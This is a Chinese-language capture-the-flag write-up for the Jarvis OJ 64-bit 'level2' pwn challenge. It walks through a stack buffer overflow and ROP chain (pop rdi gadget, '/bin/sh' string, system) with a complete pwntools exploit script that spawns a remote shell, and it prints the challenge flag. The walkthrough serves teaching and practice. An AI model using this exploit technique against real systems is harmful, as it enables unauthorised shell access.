64位程序在调用system函数时,参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,所以这时我们的思路变成如何覆盖edi的值,通过基本rop就可以做到,利用程序自己的带有pop edi/rdi;ret语句达到给edi赋值的效果。pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。
使用ROPgadget搜索操作寄存器的函数地址:
ROPgadget --binary level2_x64 --only "pop|ret"
ret是返回到栈中。那么我们就找到了pop edi/rdi的地址:0x4006b3
接下来要找system,,binsh的地址,,,,,,,
system的地址:0x4004C0
然后找binsh的地址,,
左键点击左上角的view,打开open subviews,,打开strings,,
双击进入得到bin/sh的地址。。0x600A90
下面开始写脚本,
1,from pwn import *
一般直接用from pwn import * 或者import pwn将所有模块导入到当前命名空间,这条语句还会把os、sys等常用的系统库一并导入。
2,context(os='linux',arch='i386',log_level='debug')
设置目标机的参数
os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
arch设置架构为:,64位的模式为amd64,对应的32位模式是’i386’,根据刚才终端命令可以得知为32位
log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,所以有时候可以不输入。
3,p=remote('pwn2.jarvisoj.com',9882)
连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口
ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址
4,p.recvline()
recvline(keepends = True): 接收一行,keepends为是否保留行尾的\n,默认为Ture
5,bin_adr=0x600A90
sys_adr=0x4004C0
popedi_adr=0x4006b3
这些都上面所找到的各个函数的地址。。。
6,payload='A'*0x88+p64(popedi_adr)+p64(bin_adr)+p64(sys_adr)
在32位程序当中,函数的传递是通过栈来进行传递。
构造shellcode 的方式是 padding+ fake_ebp+p32(system)+p32(返回地址)+p32(system 的参数)
在64位程序当中,函数的传递是通过寄存器进行传递。在64位程序当中,参数先是找rdi, rsi, rdx, rcx, r8, r9。
构造shellcode的方式是padding+fake_ebp+p64(pop_rdi_ret)+p64(system的参数)+p64(system)
函数的返回地址被pop_rdi_ret所覆盖,执行的时候 system的参数就进入rdi当中 并且ret执行后面的system
7,p.send(payload)
p.interactive()
sendline(payload) : 发送一行数据,相当于在数据末尾加\n
interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
注释:A'*0x88代表 的是A'*(0x80+0x8)用字符填满buf和栈底,用system函数覆盖函数的返回地址,,
脚本如下:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
#p=process('./level2')
p=remote('pwn2.jarvisoj.com',9882)
p.recvline()
bin_adr=0x600A90
sys_adr=0x4004C0
popedi_adr=0x4006b3
payload='A'*0x88+p64(popedi_adr)+p64(bin_adr)+p64(sys_adr)
p.send(payload)
p.interactive()
flag:CTF{081ecc7c8d658409eb43358dcc1cf446}